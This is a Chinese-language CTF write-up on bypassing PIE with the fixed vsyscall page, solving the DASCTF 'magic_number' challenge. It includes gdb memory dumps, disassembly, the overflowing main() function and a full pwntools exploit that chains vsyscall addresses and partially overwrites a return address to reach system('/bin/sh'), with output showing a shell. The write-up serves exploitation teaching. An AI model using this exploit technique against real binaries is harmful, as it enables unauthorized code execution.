前面我学习了一种pie绕过方法,然而那种方法有很大的局限性(没那么简单的题~),今天我又学到了一种方法——-vsyscall
测试
使用cat /proc/self/maps指令 来查看当前的函数库,堆栈的地址(我的aslr开启)
第一次:
01f76000-01f97000 rw-p 00000000 00:00 0 [heap]
7f2c892ed000-7f2c89780000 r--p 00000000 08:01 132431 /usr/lib/locale/locale-archive
7f2c89780000-7f2c89967000 r-xp 00000000 08:01 1052455 /lib/x86_64-linux-gnu/libc-2.27.so
7f2c89967000-7f2c89b67000 ---p 001e7000 08:01 1052455 /lib/x86_64-linux-gnu/libc-2.27.so
7f2c89b67000-7f2c89b6b000 r--p 001e7000 08:01 1052455 /lib/x86_64-linux-gnu/libc-2.27.so
7f2c89b6b000-7f2c89b6d000 rw-p 001eb000 08:01 1052455 /lib/x86_64-linux-gnu/libc-2.27.so
7f2c89b6d000-7f2c89b71000 rw-p 00000000 00:00 0
7f2c89b71000-7f2c89b98000 r-xp 00000000 08:01 1052451 /lib/x86_64-linux-gnu/ld-2.27.so
7f2c89d5b000-7f2c89d7f000 rw-p 00000000 00:00 0
7f2c89d98000-7f2c89d99000 r--p 00027000 08:01 1052451 /lib/x86_64-linux-gnu/ld-2.27.so
7f2c89d99000-7f2c89d9a000 rw-p 00028000 08:01 1052451 /lib/x86_64-linux-gnu/ld-2.27.so
7f2c89d9a000-7f2c89d9b000 rw-p 00000000 00:00 0
7ffd6e568000-7ffd6e589000 rw-p 00000000 00:00 0 [stack]
7ffd6e5bc000-7ffd6e5bf000 r--p 00000000 00:00 0 [vvar]
7ffd6e5bf000-7ffd6e5c1000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
再次执行:
01fd7000-01ff8000 rw-p 00000000 00:00 0 [heap]
7f074db97000-7f074e02a000 r--p 00000000 08:01 132431 /usr/lib/locale/locale-archive
7f074e02a000-7f074e211000 r-xp 00000000 08:01 1052455 /lib/x86_64-linux-gnu/libc-2.27.so
7f074e211000-7f074e411000 ---p 001e7000 08:01 1052455 /lib/x86_64-linux-gnu/libc-2.27.so
7f074e411000-7f074e415000 r--p 001e7000 08:01 1052455 /lib/x86_64-linux-gnu/libc-2.27.so
7f074e415000-7f074e417000 rw-p 001eb000 08:01 1052455 /lib/x86_64-linux-gnu/libc-2.27.so
7f074e417000-7f074e41b000 rw-p 00000000 00:00 0
7f074e41b000-7f074e442000 r-xp 00000000 08:01 1052451 /lib/x86_64-linux-gnu/ld-2.27.so
7f074e605000-7f074e629000 rw-p 00000000 00:00 0
7f074e642000-7f074e643000 r--p 00027000 08:01 1052451 /lib/x86_64-linux-gnu/ld-2.27.so
7f074e643000-7f074e644000 rw-p 00028000 08:01 1052451 /lib/x86_64-linux-gnu/ld-2.27.so
7f074e644000-7f074e645000 rw-p 00000000 00:00 0
7fffa112f000-7fffa1150000 rw-p 00000000 00:00 0 [stack]
7fffa11b7000-7fffa11ba000 r--p 00000000 00:00 0 [vvar]
7fffa11ba000-7fffa11bc000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
可以发现堆区,栈区,以及一些libc库的基地址都发生了变化,只有那个神奇的东西其地址不动如山。他就是———–vsyscall
vsyscall的地址一直在ffffffffff600000-ffffffffff601000之间
vsyscall何许人也~
简单地说,现代的Windows/*Unix操作系统都采用了分级保护的方式,内核代码位于R0,用户代码位于R3。许多对硬件和内核等的操作都会被包装成内核函数并提供一个接口给用户层代码调用,这个接口就是我们熟知的int 0x80/syscall+调用号模式。当我们每次调用这个接口时,为了保证数据的隔离,我们需要把当前的上下文(寄存器状态等)保存好,然后切换到内核态运行内核函数,然后将内核函数返回的结果放置到对应的寄存器和内存中,再恢复上下文,切换到用户模式。这一过程需要耗费一定的性能。对于某些系统调用,如gettimeofday来说,由于他们经常被调用,如果每次被调用都要这么来回折腾一遍,开销就会变成一个累赘。因此系统把几个常用的无参内核调用从内核中映射到用户空间中,这就是vsyscall.
gdb dump 文件
先在一个终端运行某个程序
hunter@hunter:~/PWN/DASCTF/七夕$ ./magic_number Your Input :
开启一个终端查看进程PID
hunter@hunter:~$ ps aux | grep magic_number hunter 11588 0.3 1.4 774976 28600 ? Sl 23:00 0:09 gedit /home/hunter/PWN/DASCTF/七夕/magic_number.py hunter 13464 0.0 0.0 4376 708 pts/3 S+ 23:50 0:00 ./magic_number hunter 13495 0.0 0.0 16180 1092 pts/18 S+ 23:51 0:00 grep --color=auto magic_number 是中间那个
执行 sudo gdb attach 13464
R12: 0x555fc4460870 (xor ebp,ebp) R13: 0x7ffe99e87760 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x7fa10243707b <__GI___libc_read+11>: jne 0x7fa102437090 <__GI___libc_read+32> 0x7fa10243707d <__GI___libc_read+13>: xor eax,eax 0x7fa10243707f <__GI___libc_read+15>: syscall => 0x7fa102437081 <__GI___libc_read+17>: cmp rax,0xfffffffffffff000 0x7fa102437087 <__GI___libc_read+23>: ja 0x7fa1024370e0 <__GI___libc_read+112> 0x7fa102437089 <__GI___libc_read+25>: repz ret 0x7fa10243708b <__GI___libc_read+27>: nop DWORD PTR [rax+rax*1+0x0] 0x7fa102437090 <__GI___libc_read+32>: push r12 [------------------------------------stack-------------------------------------] 0000| 0x7ffe99e87648 --> 0x555fc4460ae0 (mov eax,0x0) 0008| 0x7ffe99e87650 --> 0x7fa1027289a0 (<_dl_fini>: push rbp) 0016| 0x7ffe99e87658 --> 0x0 0024| 0x7ffe99e87660 --> 0x555fc4460af0 (push r15) 0032| 0x7ffe99e87668 --> 0x555fc4460870 (xor ebp,ebp) 0040| 0x7ffe99e87670 --> 0x7ffe99e87760 --> 0x1 0048| 0x7ffe99e87678 --> 0xb483671a00000000 0056| 0x7ffe99e87680 --> 0x555fc4460af0 (push r15) [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x00007fa102437081 in __GI___libc_read (fd=0x0, buf=0x7ffe99e87650, nbytes=0x100) at ../sysdeps/unix/sysv/linux/read.c:27 27 ../sysdeps/unix/sysv/linux/read.c: 没有那个文件或目录. gdb-peda$
dump 地址 :dump memory 生成的文件名 addr1 addr2
[------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x00007feca1425081 in __GI___libc_read (fd=0x0, buf=0x7ffc39ab82e0, nbytes=0x100) at ../sysdeps/unix/sysv/linux/read.c:27 27 ../sysdeps/unix/sysv/linux/read.c: 没有那个文件或目录. gdb-peda$ dump memory magic_number.dump 0xffffffffff600000 0xffffffffff601000 gdb-peda$ 这样就把从0xffffffffff600000到0xffffffffff601000地址处的二进制文件dump下来,生成magic_number.dump文件
IDA查看
seg000:0000000000000000 ; Format : 二进制
seg000:0000000000000000 ; Base Address: 0000h Range: 0000h - 1000h Loaded length: 1000h
seg000:0000000000000000
seg000:0000000000000000 .686p
seg000:0000000000000000 .mmx
seg000:0000000000000000 .model flat
seg000:0000000000000000
seg000:0000000000000000 ; ===========================================================================
seg000:0000000000000000
seg000:0000000000000000 ; Segment type: Pure code
seg000:0000000000000000 seg000 segment byte public 'CODE' use64
seg000:0000000000000000 assume cs:seg000
seg000:0000000000000000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:0000000000000000 mov rax, 60h
seg000:0000000000000007 syscall ; Low latency system call
seg000:0000000000000009 retn
seg000:0000000000000009 ; ---------------------------------------------------------------------------
seg000:000000000000000A align 400h
seg000:0000000000000400 mov rax, 0C9h
seg000:0000000000000407 syscall ; Low latency system call
seg000:0000000000000409 retn
seg000:0000000000000409 ; ---------------------------------------------------------------------------
seg000:000000000000040A align 400h
seg000:0000000000000800 mov rax, 135h
seg000:0000000000000807 syscall ; Low latency system call
seg000:0000000000000809 retn
seg000:0000000000000809 ; ---------------------------------------------------------------------------
seg000:000000000000080A align 800h
seg000:000000000000080A seg000 ends
seg000:000000000000080A
seg000:000000000000080A
seg000:000000000000080A end
可以看到这里有三个系统调用,从上到下依次为gettimeofday,time,getcpu(查系统调用号)。都是系统调用,都包含syscall指令,也许这个syscall将来可以利用。
注意:
当我们直接调用vsyscall中的syscall时,会提示段错误,这是因为vsyscall执行时会进行检查,如果不是从函数开头执行的话就会出错
所以,我们可以直接利用的地址是0xffffffffff600000、0xffffffffff600400、 0xffffffffff600800
利用
由于这三个系统调用都是无参数传参,且地址固定,我们可以用来绕过PIE,原因是他们的影响性小且带有ret指令。就可以把这三个系统调用看作三个地址不同的ret指令。我们可以用他们不停的滑到下方栈地址
滑动绕过演示
原理:利用栈里面的数据一般不会被清理干净,还保存着以前的信息可以为我们所用
DASCTF-七夕赛-magic_number
checksec
hunter@hunter:~/PWN/DASCTF/七夕$ checksec magic_number
[*] '/home/hunter/PWN/DASCTF/\xe4\xb8\x83\xe5\xa4\x95/magic_number'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
就canary没开
IDA
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf; // [rsp+0h] [rbp-30h]
int v5; // [rsp+2Ch] [rbp-4h]
sub_9A0();
v5 = rand();
if ( v5 == 0x12345678 )
system("/bin/sh");
puts("Your Input :");
read(0, &buf, 0x100uLL); //溢出点很容易得到:0x30+8
return 0LL;
}
rand():
signed __int64 rand()
{
signed __int64 result; // rax
unsigned int buf; // [rsp+8h] [rbp-8h]
int fd; // [rsp+Ch] [rbp-4h]
buf = 0;
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
puts("error");
result = 1LL;
}
else
{
read(fd, &buf, 4uLL);
close(fd);
result = buf;
}
return result;
}
思路
- 那个rand()函数就是从/dev/urandom文件里面读入4个字节到buf,返回buf地址到main函数中的v5
- 想让v5 == 0x12345678但/dev/urandom文件无法改,又没有改v5值的方法,所以这是不可能的
- main函数存在栈溢出
- 开启PIE,在栈中找到保存main函数中的某些地址(system)
- 利用栈溢出跳到system(‘/bin/sh’)处即可
gdb查看栈信息
如果直接gdb调试失败,可以在脚本中插入gdb.attach(sh).或者向上面一样找到正在执行中magic_number的PID,用sudo gdb attach PID指令来调试
RBP: 0x562182e3faf0 (push r15)
RSP: 0x7ffe0b264818 --> 0x7f0fa29a0b97 (<__libc_start_main+231>: mov edi,eax)
RIP: 0x562182e3fae6 (ret)
R8 : 0xc ('\x0c')
R9 : 0x7f0fa2f7d4c0 (0x00007f0fa2f7d4c0)
R10: 0x0
R11: 0x246
R12: 0x562182e3f870 (xor ebp,ebp)
R13: 0x7ffe0b2648f0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x562182e3fadb: call 0x562182e3f838 <read@plt>
0x562182e3fae0: mov eax,0x0
0x562182e3fae5: leave
=> 0x562182e3fae6: ret
0x562182e3fae7: nop WORD PTR [rax+rax*1+0x0]
0x562182e3faf0: push r15
0x562182e3faf2: push r14
0x562182e3faf4: mov r15d,edi
[------------------------------------stack-------------------------------------]
0000| 0x7ffe0b264818 --> 0x7f0fa29a0b97 (<__libc_start_main+231>: mov edi,eax)
0008| 0x7ffe0b264820 --> 0x1
0016| 0x7ffe0b264828 --> 0x7ffe0b2648f8 --> 0x7ffe0b2652f0 ("./magic_number")
0024| 0x7ffe0b264830 --> 0x100008000
0032| 0x7ffe0b264838 --> 0x562182e3fa80 (push rbp)
0040| 0x7ffe0b264840 --> 0x0
0048| 0x7ffe0b264848 --> 0xf14225c379c56e4c
0056| 0x7ffe0b264850 --> 0x562182e3f870 (xor ebp,ebp)
在要执行ret时,栈中发现栈第五行存放的地址和main函数中指令地址(ret及以上都是)就差后面两个16进制数。
找到main中执行system(‘/bin/sh’)的地址信息(用IDA)
.text:0000000000000AA8 lea rdi, command ; "/bin/sh" 《=======目标
.text:0000000000000AAF mov eax, 0
.text:0000000000000AB4 call system
.text:0000000000000AB9 loc_AB9:
.text:0000000000000AB9 lea rdi, aYourInput ; "Your Input :"
.text:0000000000000AC0 call puts
.text:0000000000000AC5 lea rax, [rbp+buf]
.text:0000000000000AC9 mov edx, 100h ; nbytes
.text:0000000000000ACE mov rsi, rax ; buf
.text:0000000000000AD1 mov edi, 0 ; fd
.text:0000000000000AD6 mov eax, 0
.text:0000000000000ADB call read
.text:0000000000000AE0 mov eax, 0
.text:0000000000000AE5 leave
.text:0000000000000AE6 retn
由以上信息易知:把栈第五行地址的后两位覆盖为:A8,然后用vsyscall滑到这里来就行了
EXP
from pwn import*
context.log_level = 'debug'
vsyscall = 0xffffffffff600000
payload = 'A'*0x30
payload += p64(0xdeadbeef) //此处覆盖RBP
payload += p64(vsyscall)
payload += p64(vsyscall)
payload += p64(vsyscall)
payload += p64(vsyscall)
payload += '\xA8' //对应第五行栈
sh = process('./magic_number')
#sh = remote('183.129.189.60',10010)
print sh.recv()
#gdb.attach(sh)
sh.send(payload)
sh.interactive()
结果:
[DEBUG] Sent 0x59 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000030 ef be ad de 00 00 00 00 00 00 60 ff ff ff ff ff │····│····│··`·│····│
00000040 00 00 60 ff ff ff ff ff 00 00 60 ff ff ff ff ff │··`·│····│··`·│····│
00000050 00 00 60 ff ff ff ff ff a8 │··`·│····│·│
00000059
[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
'whoami\n'
[DEBUG] Received 0x7 bytes:
'hunter\n'
hunter
$
详情见:http://blog.eonew.cn/archives/968 https://www.anquanke.com/post/id/177520